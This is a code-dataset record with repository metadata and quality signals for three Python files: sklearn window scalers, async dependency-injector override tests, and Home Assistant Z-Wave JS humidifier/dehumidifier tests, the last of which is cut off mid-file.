hexsha
string
size
int64
ext
string
lang
string
max_stars_repo_path
string
max_stars_repo_name
string
max_stars_repo_head_hexsha
string
max_stars_repo_licenses
list
max_stars_count
int64
max_stars_repo_stars_event_min_datetime
string
max_stars_repo_stars_event_max_datetime
string
max_issues_repo_path
string
max_issues_repo_name
string
max_issues_repo_head_hexsha
string
max_issues_repo_licenses
list
max_issues_count
int64
max_issues_repo_issues_event_min_datetime
string
max_issues_repo_issues_event_max_datetime
string
max_forks_repo_path
string
max_forks_repo_name
string
max_forks_repo_head_hexsha
string
max_forks_repo_licenses
list
max_forks_count
int64
max_forks_repo_forks_event_min_datetime
string
max_forks_repo_forks_event_max_datetime
string
content
string
avg_line_length
float64
max_line_length
int64
alphanum_fraction
float64
qsc_code_num_words_quality_signal
int64
qsc_code_num_chars_quality_signal
float64
qsc_code_mean_word_length_quality_signal
float64
qsc_code_frac_words_unique_quality_signal
float64
qsc_code_frac_chars_top_2grams_quality_signal
float64
qsc_code_frac_chars_top_3grams_quality_signal
float64
qsc_code_frac_chars_top_4grams_quality_signal
float64
qsc_code_frac_chars_dupe_5grams_quality_signal
float64
qsc_code_frac_chars_dupe_6grams_quality_signal
float64
qsc_code_frac_chars_dupe_7grams_quality_signal
float64
qsc_code_frac_chars_dupe_8grams_quality_signal
float64
qsc_code_frac_chars_dupe_9grams_quality_signal
float64
qsc_code_frac_chars_dupe_10grams_quality_signal
float64
qsc_code_frac_chars_replacement_symbols_quality_signal
float64
qsc_code_frac_chars_digital_quality_signal
float64
qsc_code_frac_chars_whitespace_quality_signal
float64
qsc_code_size_file_byte_quality_signal
float64
qsc_code_num_lines_quality_signal
float64
qsc_code_num_chars_line_max_quality_signal
float64
qsc_code_num_chars_line_mean_quality_signal
float64
qsc_code_frac_chars_alphabet_quality_signal
float64
qsc_code_frac_chars_comments_quality_signal
float64
qsc_code_cate_xml_start_quality_signal
float64
qsc_code_frac_lines_dupe_lines_quality_signal
float64
qsc_code_cate_autogen_quality_signal
float64
qsc_code_frac_lines_long_string_quality_signal
float64
qsc_code_frac_chars_string_length_quality_signal
float64
qsc_code_frac_chars_long_word_length_quality_signal
float64
qsc_code_frac_lines_string_concat_quality_signal
float64
qsc_code_cate_encoded_data_quality_signal
float64
qsc_code_frac_chars_hex_words_quality_signal
float64
qsc_code_frac_lines_prompt_comments_quality_signal
float64
qsc_code_frac_lines_assert_quality_signal
float64
qsc_codepython_cate_ast_quality_signal
float64
qsc_codepython_frac_lines_func_ratio_quality_signal
float64
qsc_codepython_cate_var_zero_quality_signal
bool
qsc_codepython_frac_lines_pass_quality_signal
float64
qsc_codepython_frac_lines_import_quality_signal
float64
qsc_codepython_frac_lines_simplefunc_quality_signal
float64
qsc_codepython_score_lines_no_logic_quality_signal
float64
qsc_codepython_frac_lines_print_quality_signal
float64
qsc_code_num_words
int64
qsc_code_num_chars
int64
qsc_code_mean_word_length
int64
qsc_code_frac_words_unique
null
qsc_code_frac_chars_top_2grams
int64
qsc_code_frac_chars_top_3grams
int64
qsc_code_frac_chars_top_4grams
int64
qsc_code_frac_chars_dupe_5grams
int64
qsc_code_frac_chars_dupe_6grams
int64
qsc_code_frac_chars_dupe_7grams
int64
qsc_code_frac_chars_dupe_8grams
int64
qsc_code_frac_chars_dupe_9grams
int64
qsc_code_frac_chars_dupe_10grams
int64
qsc_code_frac_chars_replacement_symbols
int64
qsc_code_frac_chars_digital
int64
qsc_code_frac_chars_whitespace
int64
qsc_code_size_file_byte
int64
qsc_code_num_lines
int64
qsc_code_num_chars_line_max
int64
qsc_code_num_chars_line_mean
int64
qsc_code_frac_chars_alphabet
int64
qsc_code_frac_chars_comments
int64
qsc_code_cate_xml_start
int64
qsc_code_frac_lines_dupe_lines
int64
qsc_code_cate_autogen
int64
qsc_code_frac_lines_long_string
int64
qsc_code_frac_chars_string_length
int64
qsc_code_frac_chars_long_word_length
int64
qsc_code_frac_lines_string_concat
null
qsc_code_cate_encoded_data
int64
qsc_code_frac_chars_hex_words
int64
qsc_code_frac_lines_prompt_comments
int64
qsc_code_frac_lines_assert
int64
qsc_codepython_cate_ast
int64
qsc_codepython_frac_lines_func_ratio
int64
qsc_codepython_cate_var_zero
int64
qsc_codepython_frac_lines_pass
int64
qsc_codepython_frac_lines_import
int64
qsc_codepython_frac_lines_simplefunc
int64
qsc_codepython_score_lines_no_logic
int64
qsc_codepython_frac_lines_print
int64
effective
string
hits
int64
a338ca658c6850f4f5439a6042215299a22f86f4
1,417
py
Python
src/subpackages/ts_process/scale.py
cfiscella/PredictionIntervals
45c66bcea5a3e022f995155e1ec39f63602ef836
[ "CC0-1.0" ]
null
null
null
src/subpackages/ts_process/scale.py
cfiscella/PredictionIntervals
45c66bcea5a3e022f995155e1ec39f63602ef836
[ "CC0-1.0" ]
null
null
null
src/subpackages/ts_process/scale.py
cfiscella/PredictionIntervals
45c66bcea5a3e022f995155e1ec39f63602ef836
[ "CC0-1.0" ]
null
null
null
from sklearn.preprocessing import StandardScaler from sklearn.preprocessing import MinMaxScaler from src.subpackages.ts_process.shape import shape_data, dissolve class WindowStandardScaler(StandardScaler): def fit(self,X): X_dissolved = dissolve(X,X.shape[1]) StandardScaler.fit(self,X_dissolved) def transform(self,X): X_dissolved = dissolve(X,X.shape[1]) transformed = StandardScaler.transform(self,X_dissolved) return shape_data(pd.DataFrame(transformed),X.shape[1]) def fit_transform(self,X): self.fit(X) return self.transform(X) def inverse_transform(self,X): X_dissolved = dissolve(X,X.shape[1]) inverse_transformed = StandardScaler.inverse_transform(self,X_dissolved) return shape_data(pd.DataFrame(inverse_transformed),X.shape[1]) class WindowMinMaxScaler(MinMaxScaler): def fit(self,X): X_dissolved = dissolve(X,X.shape[1]) MinMaxScaler.fit(self,X_dissolved) def transform(self,X): X_dissolved = dissolve(X,X.shape[1]) transformed = MinMaxScaler.transform(self,X_dissolved) return shape_data(pd.DataFrame(transformed),X.shape[1]) def fit_transform(self,X): self.fit(X) return self.transform(X) def inverse_transform(self,X): X_dissolved = dissolve(X,X.shape[1]) inverse_transformed = MinMaxScaler.inverse_transform(self,X_dissolved) return shape_data(pd.DataFrame(inverse_transformed),X.shape[1])
30.148936
76
0.751588
194
1,417
5.345361
0.14433
0.067502
0.067502
0.086789
0.717454
0.717454
0.717454
0.717454
0.717454
0.717454
0
0.00815
0.134086
1,417
46
77
30.804348
0.837001
0
0
0.666667
0
0
0
0
0
0
0
0
0
1
0.242424
false
0
0.090909
0
0.575758
0
0
0
0
null
0
0
0
0
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
0
0
0
0
0
null
0
0
0
0
0
1
0
0
0
0
1
0
0
7
6e76ac3bc481c6f9f6f0b6301d8acb0949fdcb51
2,931
py
Python
tests/unit/providers/async/test_override_py36.py
YelloFam/python-dependency-injector
541131e33858ee1b8b5a7590d2bb9f929740ea1e
[ "BSD-3-Clause" ]
null
null
null
tests/unit/providers/async/test_override_py36.py
YelloFam/python-dependency-injector
541131e33858ee1b8b5a7590d2bb9f929740ea1e
[ "BSD-3-Clause" ]
null
null
null
tests/unit/providers/async/test_override_py36.py
YelloFam/python-dependency-injector
541131e33858ee1b8b5a7590d2bb9f929740ea1e
[ "BSD-3-Clause" ]
null
null
null
"""Tests for provider overriding in async mode.""" from dependency_injector import providers from pytest import mark @mark.asyncio async def test_provider(): dependency = object() async def _get_dependency_async(): return dependency def _get_dependency_sync(): return dependency provider = providers.Provider() provider.override(providers.Callable(_get_dependency_async)) dependency1 = await provider() provider.override(providers.Callable(_get_dependency_sync)) dependency2 = await provider() assert dependency1 is dependency assert dependency2 is dependency @mark.asyncio async def test_callable(): dependency = object() async def _get_dependency_async(): return dependency def _get_dependency_sync(): return dependency provider = providers.Callable(_get_dependency_async) dependency1 = await provider() provider.override(providers.Callable(_get_dependency_sync)) dependency2 = await provider() assert dependency1 is dependency assert dependency2 is dependency @mark.asyncio async def test_factory(): dependency = object() async def _get_dependency_async(): return dependency def _get_dependency_sync(): return dependency provider = providers.Factory(_get_dependency_async) dependency1 = await provider() provider.override(providers.Callable(_get_dependency_sync)) dependency2 = await provider() assert dependency1 is dependency assert dependency2 is dependency @mark.asyncio async def test_async_mode_enabling(): dependency = object() async def _get_dependency_async(): return dependency provider = providers.Callable(_get_dependency_async) assert provider.is_async_mode_undefined() is True await provider() assert provider.is_async_mode_enabled() is True @mark.asyncio async def test_async_mode_disabling(): dependency = object() def _get_dependency(): return dependency provider = providers.Callable(_get_dependency) assert provider.is_async_mode_undefined() is True provider() assert provider.is_async_mode_disabled() is True @mark.asyncio async def test_async_mode_enabling_on_overriding(): dependency = object() async def _get_dependency_async(): return dependency provider = providers.Provider() provider.override(providers.Callable(_get_dependency_async)) assert provider.is_async_mode_undefined() is True await provider() assert provider.is_async_mode_enabled() is True def test_async_mode_disabling_on_overriding(): dependency = object() def _get_dependency(): return dependency provider = providers.Provider() provider.override(providers.Callable(_get_dependency)) assert provider.is_async_mode_undefined() is True provider() assert provider.is_async_mode_disabled() is True
22.898438
64
0.737973
329
2,931
6.270517
0.109422
0.12603
0.077557
0.130877
0.92826
0.90063
0.90063
0.90063
0.888512
0.814833
0
0.005068
0.192085
2,931
127
65
23.07874
0.866132
0.015012
0
0.848101
0
0
0
0
0
0
0
0
0.177215
1
0.075949
false
0
0.025316
0.063291
0.227848
0
0
0
0
null
0
0
0
1
1
1
1
1
1
0
0
0
0
0
0
0
0
0
0
1
0
0
0
0
null
0
0
0
0
0
0
0
0
0
0
0
0
0
7
6e76fe8d1643ea97a722ced0b9610d1443a58aa4
33,559
py
Python
tests/components/zwave_js/test_humidifier.py
MrDelik/core
93a66cc357b226389967668441000498a10453bb
[ "Apache-2.0" ]
30,023
2016-04-13T10:17:53.000Z
2020-03-02T12:56:31.000Z
tests/components/zwave_js/test_humidifier.py
MrDelik/core
93a66cc357b226389967668441000498a10453bb
[ "Apache-2.0" ]
24,710
2016-04-13T08:27:26.000Z
2020-03-02T12:59:13.000Z
tests/components/zwave_js/test_humidifier.py
MrDelik/core
93a66cc357b226389967668441000498a10453bb
[ "Apache-2.0" ]
11,956
2016-04-13T18:42:31.000Z
2020-03-02T09:32:12.000Z
"""Test the Z-Wave JS humidifier platform.""" from zwave_js_server.const import CommandClass from zwave_js_server.const.command_class.humidity_control import HumidityControlMode from zwave_js_server.event import Event from homeassistant.components.humidifier import HumidifierDeviceClass from homeassistant.components.humidifier.const import ( ATTR_HUMIDITY, ATTR_MAX_HUMIDITY, ATTR_MIN_HUMIDITY, DEFAULT_MAX_HUMIDITY, DEFAULT_MIN_HUMIDITY, DOMAIN as HUMIDIFIER_DOMAIN, SERVICE_SET_HUMIDITY, ) from homeassistant.const import ( ATTR_DEVICE_CLASS, ATTR_ENTITY_ID, SERVICE_TURN_OFF, SERVICE_TURN_ON, STATE_OFF, STATE_ON, ) from .common import DEHUMIDIFIER_ADC_T3000_ENTITY, HUMIDIFIER_ADC_T3000_ENTITY async def test_humidifier(hass, client, climate_adc_t3000, integration): """Test a humidity control command class entity.""" node = climate_adc_t3000 state = hass.states.get(HUMIDIFIER_ADC_T3000_ENTITY) assert state assert state.state == STATE_ON assert state.attributes[ATTR_DEVICE_CLASS] == HumidifierDeviceClass.HUMIDIFIER assert state.attributes[ATTR_HUMIDITY] == 35 assert state.attributes[ATTR_MIN_HUMIDITY] == 10 assert state.attributes[ATTR_MAX_HUMIDITY] == 70 client.async_send_command.reset_mock() # Test setting humidity await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_SET_HUMIDITY, { ATTR_ENTITY_ID: HUMIDIFIER_ADC_T3000_ENTITY, ATTR_HUMIDITY: 41, }, blocking=True, ) assert len(client.async_send_command.call_args_list) == 1 args = client.async_send_command.call_args_list[0][0][0] assert args["command"] == "node.set_value" assert args["nodeId"] == 68 assert args["valueId"] == { "ccVersion": 1, "commandClassName": "Humidity Control Setpoint", "commandClass": CommandClass.HUMIDITY_CONTROL_SETPOINT, "endpoint": 0, "property": "setpoint", "propertyKey": 1, "propertyName": "setpoint", "propertyKeyName": "Humidifier", "metadata": { "type": "number", "readable": True, "writeable": True, "unit": "%", "min": 10, "max": 70, "ccSpecific": {"setpointType": 1}, }, "value": 35, } assert args["value"] == 41 client.async_send_command.reset_mock() # Test de-humidify mode update from value updated event event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.DEHUMIDIFY), "prevValue": int(HumidityControlMode.HUMIDIFY), }, }, ) node.receive_event(event) state = hass.states.get(HUMIDIFIER_ADC_T3000_ENTITY) assert state.state == STATE_OFF client.async_send_command.reset_mock() # Test auto mode update from value updated event event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.AUTO), "prevValue": int(HumidityControlMode.HUMIDIFY), }, }, ) node.receive_event(event) state = hass.states.get(HUMIDIFIER_ADC_T3000_ENTITY) assert state.state == STATE_ON client.async_send_command.reset_mock() # Test off mode update from value updated event event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.OFF), "prevValue": int(HumidityControlMode.HUMIDIFY), }, }, ) node.receive_event(event) state = hass.states.get(HUMIDIFIER_ADC_T3000_ENTITY) assert state.state == STATE_OFF client.async_send_command.reset_mock() # Test turning off when device is previously humidifying event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.HUMIDIFY), "prevValue": int(HumidityControlMode.OFF), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_OFF, {ATTR_ENTITY_ID: HUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 1 args = client.async_send_command.call_args_list[0][0][0] assert args["command"] == "node.set_value" assert args["nodeId"] == 68 assert args["valueId"] == { "ccVersion": 2, "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "metadata": { "type": "number", "readable": True, "writeable": True, "min": 0, "max": 255, "label": "Humidity control mode", "states": {"0": "Off", "1": "Humidify", "2": "De-humidify", "3": "Auto"}, }, "value": int(HumidityControlMode.HUMIDIFY), } assert args["value"] == int(HumidityControlMode.OFF) client.async_send_command.reset_mock() # Test turning off when device is previously auto event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.AUTO), "prevValue": int(HumidityControlMode.OFF), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_OFF, {ATTR_ENTITY_ID: HUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 1 args = client.async_send_command.call_args_list[0][0][0] assert args["command"] == "node.set_value" assert args["nodeId"] == 68 assert args["valueId"] == { "ccVersion": 2, "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "metadata": { "type": "number", "readable": True, "writeable": True, "min": 0, "max": 255, "label": "Humidity control mode", "states": {"0": "Off", "1": "Humidify", "2": "De-humidify", "3": "Auto"}, }, "value": int(HumidityControlMode.AUTO), } assert args["value"] == int(HumidityControlMode.DEHUMIDIFY) client.async_send_command.reset_mock() # Test turning off when device is previously de-humidifying event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.DEHUMIDIFY), "prevValue": int(HumidityControlMode.OFF), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_OFF, {ATTR_ENTITY_ID: HUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 0 client.async_send_command.reset_mock() # Test turning off when device is previously off event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.OFF), "prevValue": int(HumidityControlMode.AUTO), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_OFF, {ATTR_ENTITY_ID: HUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 0 client.async_send_command.reset_mock() # Test turning on when device is previously humidifying event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.HUMIDIFY), "prevValue": int(HumidityControlMode.OFF), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_ON, {ATTR_ENTITY_ID: HUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 0 client.async_send_command.reset_mock() # Test turning on when device is previously auto event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.AUTO), "prevValue": int(HumidityControlMode.OFF), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_ON, {ATTR_ENTITY_ID: HUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 0 client.async_send_command.reset_mock() # Test turning on when device is previously de-humidifying event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.DEHUMIDIFY), "prevValue": int(HumidityControlMode.OFF), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_ON, {ATTR_ENTITY_ID: HUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 1 args = client.async_send_command.call_args_list[0][0][0] assert args["command"] == "node.set_value" assert args["nodeId"] == 68 assert args["valueId"] == { "ccVersion": 2, "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "metadata": { "type": "number", "readable": True, "writeable": True, "min": 0, "max": 255, "label": "Humidity control mode", "states": {"0": "Off", "1": "Humidify", "2": "De-humidify", "3": "Auto"}, }, "value": int(HumidityControlMode.DEHUMIDIFY), } assert args["value"] == int(HumidityControlMode.AUTO) client.async_send_command.reset_mock() # Test turning on when device is previously off event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.OFF), "prevValue": int(HumidityControlMode.AUTO), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_ON, {ATTR_ENTITY_ID: HUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 1 args = client.async_send_command.call_args_list[0][0][0] assert args["command"] == "node.set_value" assert args["nodeId"] == 68 assert args["valueId"] == { "ccVersion": 2, "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "metadata": { "type": "number", "readable": True, "writeable": True, "min": 0, "max": 255, "label": "Humidity control mode", "states": {"0": "Off", "1": "Humidify", "2": "De-humidify", "3": "Auto"}, }, "value": int(HumidityControlMode.OFF), } assert args["value"] == int(HumidityControlMode.HUMIDIFY) async def test_dehumidifier_missing_setpoint( hass, client, climate_adc_t3000_missing_setpoint, integration ): """Test a humidity control command class entity.""" entity_id = "humidifier.adc_t3000_missing_setpoint_dehumidifier" state = hass.states.get(entity_id) assert state assert ATTR_HUMIDITY not in state.attributes assert state.attributes[ATTR_MIN_HUMIDITY] == DEFAULT_MIN_HUMIDITY assert state.attributes[ATTR_MAX_HUMIDITY] == DEFAULT_MAX_HUMIDITY client.async_send_command.reset_mock() # Test setting humidity await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_SET_HUMIDITY, { ATTR_ENTITY_ID: entity_id, ATTR_HUMIDITY: 41, }, blocking=True, ) assert len(client.async_send_command.call_args_list) == 0 client.async_send_command.reset_mock() async def test_humidifier_missing_mode( hass, client, climate_adc_t3000_missing_mode, integration ): """Test a humidity control command class entity.""" node = climate_adc_t3000_missing_mode # Test that de-humidifer entity does not exist but humidifier entity does entity_id = "humidifier.adc_t3000_missing_mode_dehumidifier" state = hass.states.get(entity_id) assert not state entity_id = "humidifier.adc_t3000_missing_mode_humidifier" state = hass.states.get(entity_id) assert state client.async_send_command.reset_mock() # Test turning off when device is previously auto for a device which does not have de-humidify mode event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.AUTO), "prevValue": int(HumidityControlMode.OFF), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_OFF, {ATTR_ENTITY_ID: entity_id}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 1 args = client.async_send_command.call_args_list[0][0][0] assert args["command"] == "node.set_value" assert args["nodeId"] == 68 assert args["valueId"] == { "ccVersion": 2, "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "metadata": { "type": "number", "readable": True, "writeable": True, "min": 0, "max": 255, "label": "Humidity control mode", "states": {"0": "Off", "1": "Humidify", "3": "Auto"}, }, "value": int(HumidityControlMode.AUTO), } assert args["value"] == int(HumidityControlMode.OFF) client.async_send_command.reset_mock() async def test_dehumidifier(hass, client, climate_adc_t3000, integration): """Test a humidity control command class entity.""" node = climate_adc_t3000 state = hass.states.get(DEHUMIDIFIER_ADC_T3000_ENTITY) assert state assert state.state == STATE_ON assert state.attributes[ATTR_DEVICE_CLASS] == HumidifierDeviceClass.DEHUMIDIFIER assert state.attributes[ATTR_HUMIDITY] == 60 assert state.attributes[ATTR_MIN_HUMIDITY] == 30 assert state.attributes[ATTR_MAX_HUMIDITY] == 90 client.async_send_command.reset_mock() # Test setting humidity await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_SET_HUMIDITY, { ATTR_ENTITY_ID: DEHUMIDIFIER_ADC_T3000_ENTITY, ATTR_HUMIDITY: 41, }, blocking=True, ) assert len(client.async_send_command.call_args_list) == 1 args = client.async_send_command.call_args_list[0][0][0] assert args["command"] == "node.set_value" assert args["nodeId"] == 68 assert args["valueId"] == { "ccVersion": 1, "commandClassName": "Humidity Control Setpoint", "commandClass": CommandClass.HUMIDITY_CONTROL_SETPOINT, "endpoint": 0, "property": "setpoint", "propertyKey": 2, "propertyName": "setpoint", "propertyKeyName": "De-humidifier", "metadata": { "type": "number", "readable": True, "writeable": True, "unit": "%", "min": 30, "max": 90, "ccSpecific": {"setpointType": 2}, }, "value": 60, } assert args["value"] == 41 client.async_send_command.reset_mock() # Test humidify mode update from value updated event event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.HUMIDIFY), "prevValue": int(HumidityControlMode.DEHUMIDIFY), }, }, ) node.receive_event(event) state = hass.states.get(DEHUMIDIFIER_ADC_T3000_ENTITY) assert state.state == STATE_OFF client.async_send_command.reset_mock() # Test auto mode update from value updated event event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.AUTO), "prevValue": int(HumidityControlMode.DEHUMIDIFY), }, }, ) node.receive_event(event) state = hass.states.get(DEHUMIDIFIER_ADC_T3000_ENTITY) assert state.state == STATE_ON client.async_send_command.reset_mock() # Test off mode update from value updated event event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.OFF), "prevValue": int(HumidityControlMode.DEHUMIDIFY), }, }, ) node.receive_event(event) state = hass.states.get(DEHUMIDIFIER_ADC_T3000_ENTITY) assert state.state == STATE_OFF client.async_send_command.reset_mock() # Test turning off when device is previously de-humidifying event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.DEHUMIDIFY), "prevValue": int(HumidityControlMode.OFF), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_OFF, {ATTR_ENTITY_ID: DEHUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 1 args = client.async_send_command.call_args_list[0][0][0] assert args["command"] == "node.set_value" assert args["nodeId"] == 68 assert args["valueId"] == { "ccVersion": 2, "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "metadata": { "type": "number", "readable": True, "writeable": True, "min": 0, "max": 255, "label": "Humidity control mode", "states": {"0": "Off", "1": "Humidify", "2": "De-humidify", "3": "Auto"}, }, "value": int(HumidityControlMode.DEHUMIDIFY), } assert args["value"] == int(HumidityControlMode.OFF) client.async_send_command.reset_mock() # Test turning off when device is previously auto event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.AUTO), "prevValue": int(HumidityControlMode.OFF), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_OFF, {ATTR_ENTITY_ID: DEHUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 1 args = client.async_send_command.call_args_list[0][0][0] assert args["command"] == "node.set_value" assert args["nodeId"] == 68 assert args["valueId"] == { "ccVersion": 2, "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "metadata": { "type": "number", "readable": True, "writeable": True, "min": 0, "max": 255, "label": "Humidity control mode", "states": {"0": "Off", "1": "Humidify", "2": "De-humidify", "3": "Auto"}, }, "value": int(HumidityControlMode.AUTO), } assert args["value"] == int(HumidityControlMode.HUMIDIFY) client.async_send_command.reset_mock() # Test turning off when device is previously humidifying event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.HUMIDIFY), "prevValue": int(HumidityControlMode.OFF), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_OFF, {ATTR_ENTITY_ID: DEHUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 0 client.async_send_command.reset_mock() # Test turning off when device is previously off event = Event( type="value updated", data={ "source": "node", "event": "value updated", "nodeId": 68, "args": { "commandClassName": "Humidity Control Mode", "commandClass": CommandClass.HUMIDITY_CONTROL_MODE, "endpoint": 0, "property": "mode", "propertyName": "mode", "newValue": int(HumidityControlMode.OFF), "prevValue": int(HumidityControlMode.AUTO), }, }, ) node.receive_event(event) await hass.services.async_call( HUMIDIFIER_DOMAIN, SERVICE_TURN_OFF, {ATTR_ENTITY_ID: DEHUMIDIFIER_ADC_T3000_ENTITY}, blocking=True, ) assert len(client.async_send_command.call_args_list) == 0 client.async_send_command.reset_mock() # Test turning on when device is previously 